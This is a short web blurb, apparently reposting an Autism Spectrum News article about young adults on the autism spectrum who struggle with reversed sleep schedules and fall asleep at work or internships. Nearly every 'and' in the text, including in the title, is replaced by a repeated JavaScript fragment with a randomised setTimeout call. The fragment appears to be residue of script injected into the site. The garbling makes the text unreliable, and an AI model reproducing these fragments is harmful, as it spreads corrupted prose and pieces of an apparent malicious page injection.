In the Press: Autism Spectrum News

Awake Challenged, Punctually Challenged, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Underground Thursday Challenged

Jennifer Kolarik - CIP BrevardBy Jennifer Kolarik, BS
Lead Career Coordinator, CIP Brevard

One of the biggest hurdles that adolescents andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and young adults on the ASD or LD Spectrum face is having a reversed sleep schedule where they stay awake at night (often playing video games or surfing the internet) andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and sleeping during the day. This is especially so if students are living independently for the first time. No one is around to tell them to “go to bed.”

This impacts their work lives whether it’s volunteering, interning, or doing a paid job. Even if they make it to work on time, they may lack energy andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and even nod off because they are tired andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and/or sleep deprived.

Meet Melanie. Melanie was very bright andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and enthusiastic about her internship working with animals. Soon after she started her internship, her supervisor noticed that when Melanie sat down during slow times, she would close her eyes for what she thought was a moment andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and then fall fast asleep. It was my job to figure out how to best help her stay awake at work. I came up with some strategies so Melanie andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and others like her, who were continually “awake challenged,” could do their jobs without falling asleep on the job or nodding off.

Read the full article on Autism Spectrum News (pg 12)